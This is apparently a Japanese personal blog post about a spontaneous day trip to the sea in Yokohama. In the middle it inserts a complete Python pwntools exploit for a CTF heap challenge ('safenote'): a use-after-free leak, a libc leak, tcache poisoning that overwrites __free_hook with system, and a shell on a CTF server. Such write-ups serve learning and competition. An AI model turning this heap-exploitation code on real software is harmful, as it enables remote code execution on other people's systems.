newbieからバイナリアンへ

newbieからバイナリアンへ

昨日は海を見に行きました

【雑談 8.0】もう怒った!!!!わしかて海でこの一年を振り返りたいけぇのお!!!

Warning

This entry is not about pwn.

 

 

 

1: サンタ来なかったけど

もう怒った!!!!!!!!

今年、ずっと都内から出てない!!!!!!!

もっと言うと、大学があるエリアと髪切りに行くエリア以外行ってない!!!!!!!

おうち飽きた!!!!!!!

 

 

思い立ったら即行動。

30分後には電車の中にいました。

 

改札の前に来て気づいたけど、PASMOを忘れました。財布とイヤホンとケータイだけ持ってきました。数億年ぶりにきっぷを買いました。

 

そして電車に乗って思い出したけど、僕、地図読めない...。

地図が読めないどころか路線案内みたいなやつも読めません。アプリ使ってそのとおりに行こうと思っても、大体迷ってしまう。

しかし今日は一味違う。予めTSG slackで海に行くと宣言してから行くことで、詳しい人に道案内してもらうことができる!!!

実際行く場所も乗る電車も教えてもらいました。

 

 

乗るホームを間違えたのが2回と、ホームはあってたけど方向を間違えたのを1回と、完全に合ってたけど特急じゃなくて各駅に乗ってしまうのを2回やったくらいで、あとは割とスムーズに行きました。

しかし、魔の泉岳寺 で大分迷ってしまいました。というのも、この泉岳寺は電車を降りてホームに乗った瞬間、同じホームの反対側に別の列車がとまっていて、乗客はほぼ全員そっちに乗り換えるという現象が発生します。僕は恐らくこの電車ではないだろうと確信していましたが、でも東京人が皆こっちに乗るのでそっちに乗りました。案の定、列車は今来た道を反対に遡っていきました。流石に違うと思いもう一度逆方向に乗って泉岳寺に行くと、なんとまたホームに同じ列車がとまっていて全員そっちに乗り換えるという現象が!!! これを2,3回繰り返して1時間くらいでなんだかとても怖くなったので、一旦ベンチに座ってみると、人混みが収まったくらいで目的の路線への道案内が見えてきました。よかった〜〜〜。

 

 

 

 

なんやかんや横浜につきました!!海!!!海!!!!まりん!!!

f:id:smallkirby:20201227220256p:plain


いや〜〜〜〜〜〜〜〜〜〜、1年以上触れていなかった自然。故郷に帰ってきた気分。故郷は思いっきり山だからやっぱり嘘。

 

 

 

これはブルーアワーっぽい時間帯の写真。

f:id:smallkirby:20201227220621j:plain

 

 

 

 

 

コレは砂浜の写真。水平線を見たくて来たけど、湾だと見れないって初めて知ったので次に期待。

f:id:smallkirby:20201227220740j:plain

 

 

 

 

これは魔法世界に行きそうな電車の写真。

f:id:smallkirby:20201227220827j:plain

 

 

 

 

これは結構好きな木に囲まれた道。

f:id:smallkirby:20201227221022j:plain

 

 

これは昨日やってたHarekazeCTFのpwnのexploit。 

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "./safenote"
LIBCNAME = "./libc.so.6"

hosts = ("20.48.83.103","localhost","localhost")
ports = (20004,12300,23947)
rhp1 = {'host':hosts[0],'port':ports[0]}    #for actual server
rhp2 = {'host':hosts[1],'port':ports[1]}    #for localhost 
rhp3 = {'host':hosts[2],'port':ports[2]}    #for localhost running on docker
context(os='linux',arch='amd64')
binf = ELF(FILENAME)
libc = ELF(LIBCNAME) if LIBCNAME!="" else None


## utilities #########################################

ents = [None for i in range(7)]

def hoge(ix):
  global c
  c.recvuntil("> ")
  c.sendline(str(ix))

def _alloc(ix, sz, data):
  global c, ents
  assert(ix<7 and sz<=0x70)
  hoge(1)
  c.recvuntil("Index: ")
  c.sendline(str(ix))
  c.recvuntil("Size: ")
  c.sendline(str(sz))
  c.recvuntil("Content: ")
  if len(data)<sz:
    data += b"\n"
  c.send(data)
  ents[ix] = data

def _show(ix):
  global c, ents
  assert(ix<7 and ents[ix]!=None)
  hoge(2)
  c.recvuntil("Index: ")
  c.sendline(str(ix))
  return c.recvline().rstrip()

def _copy(srcix, dstix):
  global c, ents
  assert(srcix<7 and dstix<7 and ents[srcix]!=None)
  hoge(4)
  c.recvuntil("Index (src): ")
  c.sendline(str(srcix))
  c.recvuntil("Index (dest): ")
  c.sendline(str(dstix))
  assert("No enough" not in c.recvline())
  ents[dstix] = ents[srcix]

def _move(srcix, dstix, fq=False):
  global c, ents
  assert(srcix<7 and dstix<7 and ents[srcix]!=None)
  hoge(3)
  c.recvuntil("Index (src): ")
  c.sendline(str(srcix))
  c.recvuntil("Index (dest): ")
  c.sendline(str(dstix))
  if fq:
    return
  assert("No enough" not in c.recvline())
  tmp = ents[srcix]
  ents[srcix] = None
  ents[dstix] = tmp

def check():
  print(ents)

## exploit ###########################################

def decr(Pd):
  L = Pd >> 36
  for i in range(3):
    temp = (Pd >> (36-(i+1)*8)) & 0xff
    element = ((L>>4) ^ temp) & 0xff
    L = (L<<8) + element
  return L

def enc(chunk_itself_addr, target_addr):
  return (chunk_itself_addr>>12) ^ target_addr

def exploit():
  global c

  _alloc(0, 0x50, "A"*0x40) # なんとなく
  _alloc(1, 0x50, "B"*0x40) # 色々操作
  _alloc(2, 0x50, "D"*0x40) # victim
  _alloc(3, 0x50, "C"*0x40) # ずっとtcacheに繋げとく用
  _move(3, 4)
  check()
  _move(1, 1) # UAF#1
  lk = unpack(_show(1).ljust(8,'\x00'))
  heapbase = decr(lk) << 12
  print("[!] leak: "+hex(lk))
  print("[+] decrypted L: "+hex(decr(lk)))
  print("[+] heapbase: "+hex(heapbase))

  # unsortedの生成

  ## ファンデーション
  _alloc(6, 0x10, "E"*0x8)
  _alloc(6, 0x70, "G"*0x60) # あとでleakする用
  for i in range(0x9):
    if i == 4:
      _alloc(3, 0x20, p64(0x21)*(0x20/0x8-1))
      _alloc(3, 0x40, p64(0x21)*(0x40/0x8-1))
    _alloc(4, 0x70, p64(0x21)*(0x70/0x8-1))

  ## 本ちゃん
  _alloc(1, 0x50, "B"*0x40)
  _alloc(5, 0x48, p64(enc(heapbase+0x2f0, heapbase+0x2f0+0x60)) + p64(0)) # copy用
  _move(1,1)  # UAF [0x60] -> #1 -> #2
  _copy(5, 1) # fd書き換え
  _alloc(1, 0x50, "X"*0x30)
  pay = b""
  pay += p64(0) + p64(0x421)
  _alloc(1, 0x50, pay) # overlapped chunkの生成 [0x60] -> #2
  _move(2, 0) # fake chunk(0x421)をfree. unsorted 生成

  _alloc(5, 0x30, "X")
  _alloc(5, 0x30, "X")
  _alloc(5, 0x30, "X")
  _alloc(5, 0x30, "X")
  _alloc(5, 0x30, "X")
  _alloc(5, 0x30, "X")
  _alloc(5, 0x30, "X")
  _alloc(5, 0x30, "X")
  _alloc(5, 0x30, "X")
  _alloc(5, 0x30, "X")
  _alloc(5, 0x30, "X")
  _alloc(5, 0x30, "X")
  _alloc(5, 0x60, "X")
  _alloc(5, 0x70, "X") # ここでfdが#3と重なる 残りサイズxx
  _alloc(5, 0x70, "X") # smallbinへ

  lk = unpack(_show(3).ljust(8,'\x00'))
  libcbase = lk -  0x1e3c20
  freehook = libcbase + libc.symbols["__free_hook"]
  _system = libcbase + libc.symbols["system"]
  print("[!] leaked: "+hex(lk))
  print("[!] libcbase: "+hex(libcbase))


  # overwrite freehook
  _alloc(3, 0x40, "A")
  _alloc(4, 0x40, "A")
  pay = b""
  pay += p64(enc(heapbase+0xaf0, freehook))
  assert(len(pay)<=0x40)
  _alloc(5, 0x40, pay) # copy用
  _move(4, 3)
  _move(3, 3)
  _copy(5, 3) # overwrite [0x50] -> #3 -> free_hook
  _alloc(1, 0x40, "/bin/sh\x00")
  _alloc(2, 0x40, p64(_system)) # @freehook
  
  # NIRUGIRI
  _move(1, 3, fq=True) 

## main ##############################################

if __name__ == "__main__":
    global c
    
    if len(sys.argv)>1:
      if sys.argv[1][0]=="d":
        cmd = """
          set follow-fork-mode parent
        """
        c = gdb.debug(FILENAME,cmd)
      elif sys.argv[1][0]=="r":
        c = remote(rhp1["host"],rhp1["port"])
      elif sys.argv[1][0]=="v":
        c = remote(rhp3["host"],rhp3["port"])
    else:
        c = remote(rhp2['host'],rhp2['port'])
    exploit()
    c.interactive()

 

 

 

まぁ海にいたのは実質15分くらいでした。電車の時間が異常に長い。

よく考えたら朝から何も飲まず喰わずだったので、最後に少しお水を飲んでから帰りました。

f:id:smallkirby:20201227221357j:plain

 

 

 

 

 

ここ一年は、本当におうちに引きこもって、土日でも平日でも全く関係なくパソコンをカタカタやっていたので、一年に一回くらいこういう息抜きも悪くないかなぁと思いました。

 

 

 

 

 

 

2: 参考

1: ニルギリ

https://www.youtube.com/watch?v=yvUvamhYPHw

2: もらぶろ

https://moraprogramming.hateblo.jp/entry/2013/08/19/093631

3: もらぶろ

https://moraprogramming.hateblo.jp/entry/2013/08/19/093631

4: もらぶろ

https://moraprogramming.hateblo.jp/entry/2013/08/19/093631

5: もらぶろ

https://moraprogramming.hateblo.jp/entry/2013/08/19/093631

6: もらぶろ

https://moraprogramming.hateblo.jp/entry/2013/08/19/093631

7: もらぶろ

https://moraprogramming.hateblo.jp/entry/2013/08/19/093631

8: もらぶろ

https://moraprogramming.hateblo.jp/entry/2013/08/19/093631

9: もらぶろ

https://moraprogramming.hateblo.jp/entry/2013/08/19/093631

10: もらぶろ

https://moraprogramming.hateblo.jp/entry/2013/08/19/093631

11: もらぶろ

https://moraprogramming.hateblo.jp/entry/2013/08/19/093631

12: もらぶろ

https://moraprogramming.hateblo.jp/entry/2013/08/19/093631

13: もらぶろ

https://moraprogramming.hateblo.jp/entry/2013/08/19/093631

14: もらぶろ

https://moraprogramming.hateblo.jp/entry/2013/08/19/093631

15: もらぶろ

https://moraprogramming.hateblo.jp/entry/2013/08/19/093631

16: もらぶろ

https://moraprogramming.hateblo.jp/entry/2013/08/19/093631

17: もらぶろ

https://moraprogramming.hateblo.jp/entry/2013/08/19/093631

18: もらぶろ

https://moraprogramming.hateblo.jp/entry/2013/08/19/093631

19: もらぶろ

https://moraprogramming.hateblo.jp/entry/2013/08/19/093631

20: もらぶろ

https://moraprogramming.hateblo.jp/entry/2013/08/19/093631

21: もらぶろ

https://moraprogramming.hateblo.jp/entry/2013/08/19/093631

22: もらぶろ

https://moraprogramming.hateblo.jp/entry/2013/08/19/093631

23: もらぶろ

https://moraprogramming.hateblo.jp/entry/2013/08/19/093631

24: もらぶろ

https://moraprogramming.hateblo.jp/entry/2013/08/19/093631

25: もらぶろ

https://moraprogramming.hateblo.jp/entry/2013/08/19/093631

26: もらぶろ

https://moraprogramming.hateblo.jp/entry/2013/08/19/093631

27: もらぶろ

https://moraprogramming.hateblo.jp/entry/2013/08/19/093631

28: もらぶろ

https://moraprogramming.hateblo.jp/entry/2013/08/19/093631

29: もらぶろ

https://moraprogramming.hateblo.jp/entry/2013/08/19/093631

 

 

 

 

続く...

 

 

You can cite code or comments in my blog as you like basically.
The exceptions are when the code belongs to some other license. In that case, follow it. Also, you can't use them for evil purpose. Finally, I don't take any responsibility for using my code or comment.
If you find my blog useful, I'll appreciate if you leave comments.